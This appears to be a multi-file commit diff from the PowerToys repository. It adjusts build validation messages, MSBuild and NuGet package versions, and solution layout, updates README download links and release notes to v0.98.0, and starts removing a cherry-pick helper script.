Write-Host -ForegroundColor Red "ERROR: Detected a resources.pri file in " $targetDir ". Each application should use a unique name for its resources file.`r`n"
$totalFailures++;
} else {
Write-Host -ForegroundColor Green "No resources.pri file detected in " $targetDir "`r`n"
@@ -38,7 +38,7 @@ if ($resourcesPriFiles.Count -gt 0) {
# Each application should have their XAML files in their own paths to avoid these conflicts.
$resourcesPriFiles = Get-ChildItem $targetDir -Filter *.xbf
if ($resourcesPriFiles.Count -gt 0) {
Write-Host -ForegroundColor Red "Detected a .xbf file in " $targetDir "`r`n"
Write-Host -ForegroundColor Red "ERROR: Detected a .xbf file in " $targetDir ". Ensure all XAML files are placed in a subdirectory in each application.`r`n"
$totalFailures++;
} else {
Write-Host -ForegroundColor Green "No .xbf files detected in " $targetDir "`r`n"

View File

@@ -20,6 +20,7 @@
<NuGetAuditMode>direct</NuGetAuditMode>
<IncludeSourceRevisionInInformationalVersion>false</IncludeSourceRevisionInInformationalVersion> <!-- Don't add source revision hash to the product version of binaries. -->
<PlatformTarget>$(Platform)</PlatformTarget>
<RestoreEnablePackagePruning Condition=" '$(VisualStudioVersion)' == '17.0'">false </RestoreEnablePackagePruning>
<!-- Enable Microsoft.Testing.Platform -->
<EnableMSTestRunner>true</EnableMSTestRunner>
@@ -170,12 +171,6 @@
$(USERPROFILE)\AppData\LocalLow\Microsoft\PowerToys\**;
</MSBuildCacheAllowFileAccessAfterProjectFinishFilePatterns>
<!-- dotnet.exe seems to access files after builds. Temporarily putting in this entry for testing if we get further. This looks to be related to a .NET Roslyn Analyzer in .NET 10-->
<MSBuildCacheAllowFileAccessAfterProjectFinishProcessPatterns>
$(MSBuildCacheAllowFileAccessAfterProjectFinishProcessPatterns);
\**\dotnet\dotnet.exe;
\**\vbcscompiler.exe;
</MSBuildCacheAllowFileAccessAfterProjectFinishProcessPatterns>
<!--
This repo uses a common output directory with many projects writing duplicate outputs. Allow everything, but note this costs some performance in the form of requiring
the cache to use copies instead of hardlinks when pulling from cache.

View File

@@ -39,23 +39,22 @@
<PackageVersion Include="Markdig.Signed" Version="0.34.0" />
<!-- Including MessagePack to force version, since it's used by StreamJsonRpc but contains vulnerabilities. After StreamJsonRpc updates the version of MessagePack, we can upgrade StreamJsonRpc instead. -->
<PackageVersion Include="MessagePack" Version="3.1.3" />
<PackageVersion Include="Microsoft.CodeAnalysis.NetAnalyzers" Version="10.0.102" />
<PackageVersion Include="Microsoft.CommandPalette.Extensions" Version="0.5.250829002" />
<PackageVersion Include="Microsoft.Data.Sqlite" Version="10.0.3" />
<PackageVersion Include="Microsoft.CodeAnalysis.NetAnalyzers" Version="9.0.0" />
<PackageVersion Include="Microsoft.Data.Sqlite" Version="9.0.10" />
<!-- Including Microsoft.Bcl.AsyncInterfaces to force version, since it's used by Microsoft.SemanticKernel. -->
<PackageVersion Include="Microsoft.Bcl.AsyncInterfaces" Version="10.0.3" />
<PackageVersion Include="Microsoft.Bcl.AsyncInterfaces" Version="9.0.10" />
<PackageVersion Include="Microsoft.Graphics.Win2D" Version="1.3.2" />
<PackageVersion Include="Microsoft.Windows.CppWinRT" Version="2.0.250303.1" />
<PackageVersion Include="Microsoft.Diagnostics.Tracing.TraceEvent" Version="3.1.16" />
<PackageVersion Include="Microsoft.Extensions.AI" Version="9.9.1" />
<PackageVersion Include="Microsoft.Extensions.AI.OpenAI" Version="9.9.1-preview.1.25474.6" />
<PackageVersion Include="Microsoft.Extensions.Caching.Abstractions" Version="10.0.3" />
<PackageVersion Include="Microsoft.Extensions.Caching.Memory" Version="10.0.3" />
<PackageVersion Include="Microsoft.Extensions.DependencyInjection" Version="10.0.3" />
<PackageVersion Include="Microsoft.Extensions.Logging" Version="10.0.3" />
<PackageVersion Include="Microsoft.Extensions.Logging.Abstractions" Version="10.0.3" />
<PackageVersion Include="Microsoft.Extensions.Hosting" Version="10.0.3" />
<PackageVersion Include="Microsoft.Extensions.Hosting.WindowsServices" Version="10.0.3" />
<PackageVersion Include="Microsoft.Extensions.Caching.Abstractions" Version="9.0.10" />
<PackageVersion Include="Microsoft.Extensions.Caching.Memory" Version="9.0.10" />
<PackageVersion Include="Microsoft.Extensions.DependencyInjection" Version="9.0.10" />
<PackageVersion Include="Microsoft.Extensions.Logging" Version="9.0.10" />
<PackageVersion Include="Microsoft.Extensions.Logging.Abstractions" Version="9.0.10" />
<PackageVersion Include="Microsoft.Extensions.Hosting" Version="9.0.10" />
<PackageVersion Include="Microsoft.Extensions.Hosting.WindowsServices" Version="9.0.10" />
<PackageVersion Include="Microsoft.AI.Foundry.Local" Version="0.3.0" />
<PackageVersion Include="Microsoft.SemanticKernel" Version="1.66.0" />
<PackageVersion Include="Microsoft.SemanticKernel.Connectors.OpenAI" Version="1.66.0" />
@@ -66,9 +65,9 @@
<PackageVersion Include="Microsoft.Toolkit.Uwp.Notifications" Version="7.1.2" />
<PackageVersion Include="Microsoft.Web.WebView2" Version="1.0.3179.45" />
<!-- Package Microsoft.Win32.SystemEvents added as a hack for being able to exclude the runtime assets so they don't conflict with 8.0.1. This is a dependency of System.Drawing.Common but the 8.0.1 version wasn't published to nuget. -->
<PackageVersion Include="Microsoft.Win32.SystemEvents" Version="10.0.3" />
<PackageVersion Include="Microsoft.Win32.SystemEvents" Version="9.0.10" />
<PackageVersion Include="Microsoft.WindowsPackageManager.ComInterop" Version="1.10.340" />
<PackageVersion Include="Microsoft.Windows.Compatibility" Version="10.0.3" />
<PackageVersion Include="Microsoft.Windows.Compatibility" Version="9.0.10" />
<PackageVersion Include="Microsoft.Windows.CsWin32" Version="0.3.183" />
<!-- CsWinRT version needs to be set to have a WinRT.Runtime.dll at the same version contained inside the NET SDK we're currently building on CI. -->
<!--
@@ -76,7 +75,7 @@
This is present due to a bug in CsWinRT where WPF projects cause the analyzer to fail.
-->
<PackageVersion Include="Microsoft.Windows.CsWinRT" Version="2.2.0" />
<PackageVersion Include="Microsoft.Windows.ImplementationLibrary" Version="1.0.231216.1" />
<PackageVersion Include="Microsoft.Windows.ImplementationLibrary" Version="1.0.231216.1"/>
<PackageVersion Include="Microsoft.Windows.SDK.BuildTools" Version="10.0.26100.6901" />
<PackageVersion Include="Microsoft.WindowsAppSDK" Version="1.8.260209005" />
<PackageVersion Include="Microsoft.WindowsAppSDK.Foundation" Version="1.8.260203002" />
@@ -106,30 +105,31 @@
<PackageVersion Include="StreamJsonRpc" Version="2.21.69" />
<PackageVersion Include="StyleCop.Analyzers" Version="1.2.0-beta.556" />
<!-- Package System.CodeDom added as a hack for being able to exclude the runtime assets so they don't conflict with 8.0.1. This is a dependency of System.Management but the 8.0.1 version wasn't published to nuget. -->
<PackageVersion Include="System.CodeDom" Version="10.0.3" />
<PackageVersion Include="System.CodeDom" Version="9.0.10" />
<PackageVersion Include="System.Collections.Immutable" Version="9.0.0" />
<PackageVersion Include="System.CommandLine" Version="2.0.0-beta4.22272.1" />
<PackageVersion Include="System.ComponentModel.Composition" Version="10.0.3" />
<PackageVersion Include="System.Configuration.ConfigurationManager" Version="10.0.3" />
<PackageVersion Include="System.Data.OleDb" Version="10.0.3" />
<PackageVersion Include="System.ComponentModel.Composition" Version="9.0.10" />
<PackageVersion Include="System.Configuration.ConfigurationManager" Version="9.0.10" />
<PackageVersion Include="System.Data.OleDb" Version="9.0.10" />
<!-- Package System.Data.SqlClient added to force it as a dependency of Microsoft.Windows.Compatibility to the latest version available at this time. -->
<PackageVersion Include="System.Data.SqlClient" Version="4.9.0" />
<!-- Package System.Diagnostics.EventLog added as a hack for being able to exclude the runtime assets so they don't conflict with 8.0.1. This is a dependency of System.Data.OleDb but the 8.0.1 version wasn't published to nuget. -->
<PackageVersion Include="System.Diagnostics.EventLog" Version="10.0.3" />
<PackageVersion Include="System.Diagnostics.EventLog" Version="9.0.10" />
<!-- Package System.Diagnostics.PerformanceCounter added as a hack for being able to exclude the runtime assets so they don't conflict with 8.0.11. -->
<PackageVersion Include="System.Diagnostics.PerformanceCounter" Version="10.0.3" />
<PackageVersion Include="System.Diagnostics.PerformanceCounter" Version="9.0.10" />
<PackageVersion Include="System.ClientModel" Version="1.7.0" />
<PackageVersion Include="System.Drawing.Common" Version="10.0.3" />
<PackageVersion Include="System.Drawing.Common" Version="9.0.10" />
<PackageVersion Include="System.IO.Abstractions" Version="22.0.13" />
<PackageVersion Include="System.IO.Abstractions.TestingHelpers" Version="22.0.13" />
<PackageVersion Include="System.Management" Version="10.0.3" />
<PackageVersion Include="System.Management" Version="9.0.10" />
<PackageVersion Include="System.Net.Http" Version="4.3.4" />
<PackageVersion Include="System.Numerics.Tensors" Version="9.0.11" />
<PackageVersion Include="System.Private.Uri" Version="4.3.2" />
<PackageVersion Include="System.Reactive" Version="6.0.1" />
<PackageVersion Include="System.Runtime.Caching" Version="10.0.3" />
<PackageVersion Include="System.ServiceProcess.ServiceController" Version="10.0.3" />
<PackageVersion Include="System.Text.Encoding.CodePages" Version="10.0.3" />
<PackageVersion Include="System.Text.Json" Version="10.0.3" />
<PackageVersion Include="System.Runtime.Caching" Version="9.0.10" />
<PackageVersion Include="System.ServiceProcess.ServiceController" Version="9.0.10" />
<PackageVersion Include="System.Text.Encoding.CodePages" Version="9.0.10" />
<PackageVersion Include="System.Text.Json" Version="9.0.10" />
<PackageVersion Include="System.Text.RegularExpressions" Version="4.3.1" />
<PackageVersion Include="ToolGood.Words.Pinyin" Version="3.1.0.3" />
<PackageVersion Include="UnicodeInformation" Version="2.6.0" />
@@ -153,4 +153,4 @@
<PackageVersion Include="Microsoft.VariantAssignment.Client" Version="2.4.17140001" />
<PackageVersion Include="Microsoft.VariantAssignment.Contract" Version="3.0.16990001" />
</ItemGroup>
</Project>
</Project>

View File

@@ -497,6 +497,31 @@
<Project Path="src/modules/keyboardmanager/KeyboardManagerEngine/KeyboardManagerEngine.vcxproj" Id="ba661f5b-1d5a-4ffc-9bf1-fc39df280bdd" />
<Project Path="src/modules/keyboardmanager/KeyboardManagerEngineLibrary/KeyboardManagerEngineLibrary.vcxproj" Id="e496b7fc-1e99-4bab-849b-0e8367040b02" />
</Folder>
<Folder Name="/modules/MouseUtils/">
<Project Path="src/modules/MouseUtils/CursorWrap/CursorWrap.vcxproj" Id="48a1db8c-5df8-4fb3-9e14-2b67f3f2d8b5" />
<Project Path="src/modules/MouseUtils/FindMyMouse/FindMyMouse.vcxproj" Id="e94fd11c-0591-456f-899f-efc0ca548336" />
<Project Path="src/modules/MouseUtils/MouseHighlighter/MouseHighlighter.vcxproj" Id="782a61be-9d85-4081-b35c-1ccc9dcc1e88" />
<Project Path="src/modules/MouseUtils/MouseJump.Common/MouseJump.Common.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
<Project Path="src/modules/MouseUtils/MouseJump/MouseJump.vcxproj" Id="8a08d663-4995-40e3-b42c-3f910625f284" />
<Project Path="src/modules/MouseUtils/MouseJumpUI/MouseJumpUI.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
<Project Path="src/modules/MouseUtils/MousePointerCrosshairs/MousePointerCrosshairs.vcxproj" Id="eae14c0e-7a6b-45da-9080-a7d8c077ba6e" />
</Folder>
<Folder Name="/modules/MouseUtils/Tests/">
<Project Path="src/modules/MouseUtils/MouseJump.Common.UnitTests/MouseJump.Common.UnitTests.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
<Project Path="src/modules/MouseUtils/MouseUtils.UITests/MouseUtils.UITests.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
</Folder>
<Folder Name="/modules/keyboardmanager/Tests/">
<Project Path="src/modules/keyboardmanager/KeyboardManagerEditorTest/KeyboardManagerEditorTest.vcxproj" Id="62173d9a-6724-4c00-a1c8-fb646480a9ec" />
<Project Path="src/modules/keyboardmanager/KeyboardManagerEngineTest/KeyboardManagerEngineTest.vcxproj" Id="7f4b3a60-bc27-45a7-8000-68b0b6ea7466" />
@@ -688,11 +713,13 @@
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
<!-- TEMPORARILY_DISABLED: PowerDisplay
<Project Path="src/modules/powerdisplay/PowerDisplay/PowerDisplay.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
<Project Path="src/modules/powerdisplay/PowerDisplayModuleInterface/PowerDisplayModuleInterface.vcxproj" Id="d1234567-8901-2345-6789-abcdef012345" />
-->
</Folder>
<Folder Name="/modules/PowerDisplay/Tests/">
<Project Path="src/modules/powerdisplay/PowerDisplay.Lib.UnitTests/PowerDisplay.Lib.UnitTests.csproj">
@@ -718,31 +745,6 @@
<Platform Solution="*|x64" Project="x64" />
</Project>
</Folder>
<Folder Name="/modules/MouseUtils/">
<Project Path="src/modules/MouseUtils/CursorWrap/CursorWrap.vcxproj" Id="48a1db8c-5df8-4fb3-9e14-2b67f3f2d8b5" />
<Project Path="src/modules/MouseUtils/FindMyMouse/FindMyMouse.vcxproj" Id="e94fd11c-0591-456f-899f-efc0ca548336" />
<Project Path="src/modules/MouseUtils/MouseHighlighter/MouseHighlighter.vcxproj" Id="782a61be-9d85-4081-b35c-1ccc9dcc1e88" />
<Project Path="src/modules/MouseUtils/MouseJump.Common/MouseJump.Common.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
<Project Path="src/modules/MouseUtils/MouseJump/MouseJump.vcxproj" Id="8a08d663-4995-40e3-b42c-3f910625f284" />
<Project Path="src/modules/MouseUtils/MouseJumpUI/MouseJumpUI.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
<Project Path="src/modules/MouseUtils/MousePointerCrosshairs/MousePointerCrosshairs.vcxproj" Id="eae14c0e-7a6b-45da-9080-a7d8c077ba6e" />
</Folder>
<Folder Name="/modules/MouseUtils/Tests/">
<Project Path="src/modules/MouseUtils/MouseJump.Common.UnitTests/MouseJump.Common.UnitTests.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
<Project Path="src/modules/MouseUtils/MouseUtils.UITests/MouseUtils.UITests.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />
<Platform Solution="*|x64" Project="x64" />
</Project>
</Folder>
<Folder Name="/modules/MouseWithoutBorders/">
<Project Path="src/modules/MouseWithoutBorders/App/Helper/MouseWithoutBordersHelper.csproj">
<Platform Solution="*|ARM64" Project="ARM64" />

256
README.md
View File

@@ -51,19 +51,19 @@ But to get started quickly, choose one of the installation methods below:
Go to the <a href="https://aka.ms/installPowerToys">PowerToys GitHub releases</a>, click Assets to reveal the downloads, and choose the installer that matches your architecture and install scope. For most devices, that's the x64 per-user installer.
<!-- items that need to be updated release to release -->
[github-next-release-work]: https://github.com/microsoft/PowerToys/issues?q=is%3Aissue+milestone%3A%22PowerToys+0.98%22
[github-current-release-work]: https://github.com/microsoft/PowerToys/issues?q=is%3Aissue+milestone%3A%22PowerToys+0.97%22
[ptUserX64]: https://github.com/microsoft/PowerToys/releases/download/v0.97.1/PowerToysUserSetup-0.97.1-x64.exe
[ptUserArm64]: https://github.com/microsoft/PowerToys/releases/download/v0.97.1/PowerToysUserSetup-0.97.1-arm64.exe
[ptMachineX64]: https://github.com/microsoft/PowerToys/releases/download/v0.97.1/PowerToysSetup-0.97.1-x64.exe
[ptMachineArm64]: https://github.com/microsoft/PowerToys/releases/download/v0.97.1/PowerToysSetup-0.97.1-arm64.exe
[github-next-release-work]: https://github.com/microsoft/PowerToys/issues?q=is%3Aissue+milestone%3A%22PowerToys+0.99%22
[github-current-release-work]: https://github.com/microsoft/PowerToys/issues?q=is%3Aissue+milestone%3A%22PowerToys+0.98%22
[ptUserX64]: https://github.com/microsoft/PowerToys/releases/download/v0.98.0/PowerToysUserSetup-0.98.0-x64.exe
[ptUserArm64]: https://github.com/microsoft/PowerToys/releases/download/v0.98.0/PowerToysUserSetup-0.98.0-arm64.exe
[ptMachineX64]: https://github.com/microsoft/PowerToys/releases/download/v0.98.0/PowerToysSetup-0.98.0-x64.exe
[ptMachineArm64]: https://github.com/microsoft/PowerToys/releases/download/v0.98.0/PowerToysSetup-0.98.0-arm64.exe
| Description | Filename |
|----------------|----------|
| Per user - x64 | [PowerToysUserSetup-0.97.1-x64.exe][ptUserX64] |
| Per user - ARM64 | [PowerToysUserSetup-0.97.1-arm64.exe][ptUserArm64] |
| Machine wide - x64 | [PowerToysSetup-0.97.1-x64.exe][ptMachineX64] |
| Machine wide - ARM64 | [PowerToysSetup-0.97.1-arm64.exe][ptMachineArm64] |
| Per user - x64 | [PowerToysUserSetup-0.98.0-x64.exe][ptUserX64] |
| Per user - ARM64 | [PowerToysUserSetup-0.98.0-arm64.exe][ptUserArm64] |
| Machine wide - x64 | [PowerToysSetup-0.98.0-x64.exe][ptMachineX64] |
| Machine wide - ARM64 | [PowerToysSetup-0.98.0-arm64.exe][ptMachineArm64] |
</details>
@@ -102,242 +102,14 @@ winget install --scope machine Microsoft.PowerToys -s winget
There are <a href="https://learn.microsoft.com/windows/powertoys/install#community-driven-install-tools">community driven install methods</a> such as Chocolatey and Scoop. If these are your preferred install solutions, you can find the install instructions there.
</details>
## ✨ What's new
## ✨ What's new?
**Version 0.97.2 (Feb 2026)**
[![What's new image](doc/images/readme/Release-Banner.png)](https://github.com/microsoft/PowerToys/releases)
This patch release fixes several important stability issues identified in v0.97.0 based on incoming reports. Check out the [v0.97.0](https://github.com/microsoft/PowerToys/releases/tag/v0.97.0) notes for the full list of changes.
## Advanced Paste
- #45207 Fixed a crash in the Advanced Paste settings page caused by null values during JSON deserialization.
## Color Picker
- #45367 Fixed contrast issue in Color picker UI.
## Command Palette
- #45194 Fixed an issue where some Command Palette PowerToys Extension strings were not localised.
## Cursor Wrap
- #45210 Fixed "Automatically activate on utility startup" setting not persisting when disabled. Thanks [@ThanhNguyxn](https://github.com/ThanhNguyxn)!
- #45303 Added option to disable Cursor Wrapping when only a single monitor is connected. Thanks [@mikehall-ms](https://github.com/mikehall-ms)!
## Image Resizer
- #45184 Fixed Image Resizer not working after upgrading PowerToys on Windows 10 by properly cleaning up legacy sparse app packages.
## LightSwitch
- #45304 Fixed Light Switch startup logic to correctly apply the appropriate theme on launch.
## Workspaces
- #45183 Fixed overlay positioning issue in workspace snapshot draw caused by DPI-aware coordinate mismatch.
## Quick Access and Measure Tool
- #45443 Fixed crash related to `IsShownInSwitchers` property when Explorer is not running.
**Version 0.97.1 (January 2026)**
**Highlights**
### Advanced Paste
- #44862: Fixed Settings UI advanced paste page crash by using correct settings repository for null checking.
### Command Palette
- #44886: Fixed personalization section not appearing by using latest MSIX for installation.
- #44938: Fixed loading of icons from internet shortcuts. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- #45076: Fixed potential deadlock from lazy-loading AppListItem details. Thanks [@jiripolasek](https://github.com/jiripolasek)!
### Cursor Wrap
- #44936: Added improved multi-monitor support; Added laptop lid close detection for dynamic monitor topology updates. Thanks [@mikehall-ms](https://github.com/mikehall-ms)!
- #44936: Added new settings dropdown to constrain wrapping to horizontal-only, vertical-only, or both directions. Thanks [@mikehall-ms](https://github.com/mikehall-ms)!
### Peek
- #44995: Fixed Space key triggering Peek during file rename, search, or address bar typing.
### PowerRename
- #44944: Fixed regex `$` not working, preventing users from adding text at the end of filenames.
### Runner
- #44931: Monochrome tray icon now adapts to Windows system theme instead of app theme.
- #44982: Fixed right-click menu to dynamically update based on Quick Access enabled/disabled state.
### GPO / Enterprise
- #45028: Added CursorWrap policy definition to ADMX templates. Thanks [@htcfreek](https://github.com/htcfreek)!
For the full list of v0.97 changes, visit the [Windows Command Line blog](https://aka.ms/powertoys-releaseblog).
## Advanced Paste
- Added hex color previews in clipboard history. Thanks [@crramirez](https://github.com/crramirez)!
- Added automatic placeholder endpoints when required fields are left empty.
- Fixed a grammar issue in the AI settings description. Thanks [@erik-anderson](https://github.com/erik-anderson)!
- Fixed loading order so custom action hotkeys are read correctly.
- Updated Advanced Paste descriptions to reflect support for online and local models.
- Fixed clipboard history item selection so it doesnt duplicate entries.
- Prevented placeholder endpoints from being saved for providers that dont need them.
- Added image input support for AI transforms and improved clipboard change tracking.
## Awake
- Fixed Awake CLI so help, errors, and logs appear correctly in the console. Thanks [@daverayment](https://github.com/daverayment)!
## Command Palette
- Fixed background image loading in BlurImageControl. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Fixed SDK packaging paths and added a CI SDK build stage.
- Aligned naming and spell-checking with .NET conventions. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added drag-and-drop support for Command Palette items. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added a PowerToys Command Palette extension to discover and launch PowerToys utilities.
- Fixed grid view bindings and layout issues. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Fixed a line-break issue in RDC extension toast messages. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Made the Settings button text localizable. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Hid the RDC fallback on the home page and fixed MSTSC working directory handling. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Optimized result list merging for better performance. Thanks [@daverayment](https://github.com/daverayment)!
- Added Small/Medium/Large detail sizes in the extensions API. Thanks [@DevLGuilherme](https://github.com/DevLGuilherme)!
- Hid fallback commands on the home page when no query is entered. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added back navigation support in the Settings window. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added a Command Palette solution filter. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Updated Extension SDK documentation links to Microsoft Learn. Thanks [@RubenFricke](https://github.com/RubenFricke)!
- Added a custom search engine URL setting for Web Search. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added pinyin matching for Chinese input. Thanks [@frg2089](https://github.com/frg2089)!
- Bumped Command Palette version to 0.8.
- Removed subtitles from built-in top-level commands. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Refined separator styling in the details pane. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added a built-in Remote Desktop extension.
- Added a Peek command to the Indexer extension.
- Improved default browser detection using the Windows Shell API. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added Escape key behavior options. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added theme and background customization options. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Improved WinGet package app matching. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added an auto-return-home delay setting. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added fallback ranking and global results settings.
- Removed the selection indicator in the context menu list. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added a developer ribbon with build and log info. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Updated the “Learn more” string for Command Palette. Thanks [@pratnala](https://github.com/pratnala)!
- Added arrow-key navigation for grid views. Thanks [@samrueby](https://github.com/samrueby)!
- Fixed version display when running unpackaged. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added a native debugging launch profile. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Reduced redundant property change notifications in the SDK. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Improved section readability and accessibility. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Made gallery spacing uniform. Thanks [@jiripolasek](https://github.com/jiripolasek)!
- Added sections and separators for list and grid pages. Thanks [@DevLGuilherme](https://github.com/DevLGuilherme)!
## Crop & Lock
- Added a screenshot mode that freezes a cropped region into its own window. Thanks [@fm-sys](https://github.com/fm-sys)!
## Cursor Wrap
- Improved Cursor Wrap behavior on multi-monitor setups by wrapping only at outer edges. Thanks [@mikehall-ms](https://github.com/mikehall-ms)!
## FancyZones
- Fixed editor overlay positioning on mixed-DPI multi-monitor setups. Thanks [@Memphizzz](https://github.com/Memphizzz)!
- Added a FancyZones CLI for command-line layout management.
## File Locksmith
- Added a File Locksmith CLI for querying, waiting on, or killing file locks.
## Find My Mouse
- Improved spotlight edge rendering for clearer Find My Mouse visuals.
- Added telemetry to track how Find My Mouse is triggered.
## Image Resizer
- Fixed Fill mode cropping when Shrink Only is enabled. Thanks [@daverayment](https://github.com/daverayment)!
- Added a dedicated Image Resizer CLI for scripted resizing.
## Light Switch
- Added telemetry events for Light Switch usage and settings changes.
- Added a Follow Night Light mode to sync theme changes with Night Light.
- Clarified LightSwitchService and LightSwitchStateManager roles in docs.
- Added a Quick Access dashboard button to toggle Light Switch quickly.
- Ensured Light Switch honors GPO policy states with clear status messaging.
## Mouse Without Borders
- Continued refactoring Mouse Without Borders by splitting the large Common class into focused components. Thanks [@mikeclayton](https://github.com/mikeclayton)!
- Completed the Common class refactor with Core and IPC helper extraction. Thanks [@mikeclayton](https://github.com/mikeclayton)!
## Peek
- Hardened Peek previews with strict resource filtering and safer external link warnings.
- Improved SVG preview compatibility by rendering via WebView2.
## PowerRename
- Added HEIF/AVIF EXIF metadata extraction and extension status guidance for related previews.
- Fixed undefined behavior in file time handling. Thanks [@safocl](https://github.com/safocl)!
- Optimized memory allocation for depth-based rename processing.
- Fixed Unicode normalization and nonbreaking space matching. Thanks [@daverayment](https://github.com/daverayment)!
- Fixed date token replacements followed by capital letters. Thanks [@daverayment](https://github.com/daverayment)!
## PowerToys Run Plugins
- Fixed a plugin name typo and added Project Launcher to the thirdparty list. Thanks [@artickc](https://github.com/artickc)!
- Added the Open With Antigravity plugin to the thirdparty list. Thanks [@artickc](https://github.com/artickc)!
## PowerToys Run
- Avoided unnecessary hotkey conflict checks when settings change.
- Added QuickAI to the third-party PowerToys Run plugin list. Thanks [@ruslanlap](https://github.com/ruslanlap)!
## Quick Accent
- Added localized quotation marks to Quick Accent. Thanks [@warquys](https://github.com/warquys)!
- Fixed duplicate and redundant characters in Quick Accent sets. Thanks [@noraa-junker](https://github.com/noraa-junker)!
- Fixed DPI positioning issues for Quick Accent on mixed-DPI setups. Thanks [@noraa-junker](https://github.com/noraa-junker)!
## Settings
- Added a new tray icon that adapts to theme changes. Thanks [@HO-COOH](https://github.com/HO-COOH)!
- Centralized module enable/disable logic for cleaner Settings UI updates.
- Simplified Settings utilities by removing ISettingsUtils/ISettingsPath interfaces. Thanks [@noraa-junker](https://github.com/noraa-junker)!
- Improved Settings UI consistency and disabled-state visuals.
- Added semantic headings to the Dashboard for better accessibility.
- Introduced Quick Access as a standalone host with updated Settings integration.
- Fixed Dashboard toggle flicker and sort menu checkmarks. Thanks [@daverayment](https://github.com/daverayment)!
- Added Native AOT-compatible settings serialization.
- Standardized mouse tool description text. Thanks [@daverayment](https://github.com/daverayment)!
- Added a global SettingsUtils singleton to reduce repeated initialization.
## Development
- Fixed broken devdocs links to the coding style guide. Thanks [@RubenFricke](https://github.com/RubenFricke)!
- Migrated main and installer solutions to .slnx for improved build tooling.
- Restored local installer builds after the WiX v5 upgrade with signing and versioning fixes.
- Added incremental review tooling and structured AI prompts for PR/issue reviews.
- Documented bot commands and cleaned up devdocs structure. Thanks [@noraa-junker](https://github.com/noraa-junker)!
- Updated WinAppSDK pipeline defaults to 1.8 and fixed restore handling.
- Updated the COMMUNITY list to reflect current roles.
- Maintained community member ordering and added a new entry.
- Re-enabled centralized PackageReference for native projects with VS auto-restore.
- Disabled MSBuild caching by default in CI to avoid build instability.
- Updated the latest WinAppSDK daily pipeline for split-dependency restores.
- Suppressed experimental build warnings and aligned WrapPanel stretch handling.
- Reordered the spell-check expect list for consistent automation.
- Migrated native projects to centralized PackageReference management.
- Cleaned spell-check dictionary entries and capitalization.
- Synced commit/PR prompts and wired VS Code to repo prompt files.
- Added VS Code build tasks and improved build script path handling.
- Updated Windows App SDK package versions in central package management.
- Migrated cmdpal extension native project to PackageReference and fixed outputs.
- Reverted PackageReference changes back to packages.config where needed.
- Bypassed a release version check for a failing DLL to keep pipelines green.
- Consolidated Copilot instructions and fixed prompt frontmatter.
- Added signing entries for new Quick Access binaries and CLI version metadata.
- Fixed install scope detection to avoid mixed per-user/per-machine installs.
- Added a Module Loader tool to quickly test PowerToys modules without full builds. Thanks [@mikehall-ms](https://github.com/mikehall-ms)!
- Added update telemetry to understand auto-update checks and downloads.
- Updated the telemetry package for new compliance requirements. Thanks [@carlos-zamora](https://github.com/carlos-zamora)!
- Documented missing telemetry events in DATA_AND_PRIVACY.
- Fixed UI test pipeline restores for .slnx solutions.
- Added UI automation coverage for Advanced Paste clipboard history flows.
- Stabilized FancyZones UI tests with more reliable selectors and screen recordings.
To see what's new, check out the [release notes](https://github.com/microsoft/PowerToys/releases/tag/v0.98.0).
## 🛣️ Roadmap
We are planning some nice new features and improvements for the next releases PowerDisplay, Command Palette improvements and a brand-new Shortcut Guide experience! Stay tuned for [v0.98][github-next-release-work]!
We are planning some nice new features and improvements for the next releases PowerDisplay, Command Palette improvements and a brand-new Shortcut Guide experience! Stay tuned for [v0.99][github-next-release-work]!
## ❤️ PowerToys Community
The PowerToys team is extremely grateful to have the [support of an amazing active community][community-link]. The work you do is incredibly important. PowerToys wouldn't be nearly what it is today without your help filing bugs, updating documentation, guiding the design, or writing features. We want to say thank you and take time to recognize your work. Your contributions and feedback improve PowerToys month after month!

View File

@@ -1,54 +0,0 @@
# Auto-resolve cherry-pick conflicts
param([int]$MaxAttempts = 100)
$attempts = 0
while ($attempts -lt $MaxAttempts) {
$attempts++
# Check if cherry-pick is in progress
$status = git status --porcelain
if (-not $status) {
Write-Host "Cherry-pick complete!" -ForegroundColor Green
break
}
# Get conflicted files
$conflicts = git diff --name-only --diff-filter=U
if ($conflicts) {
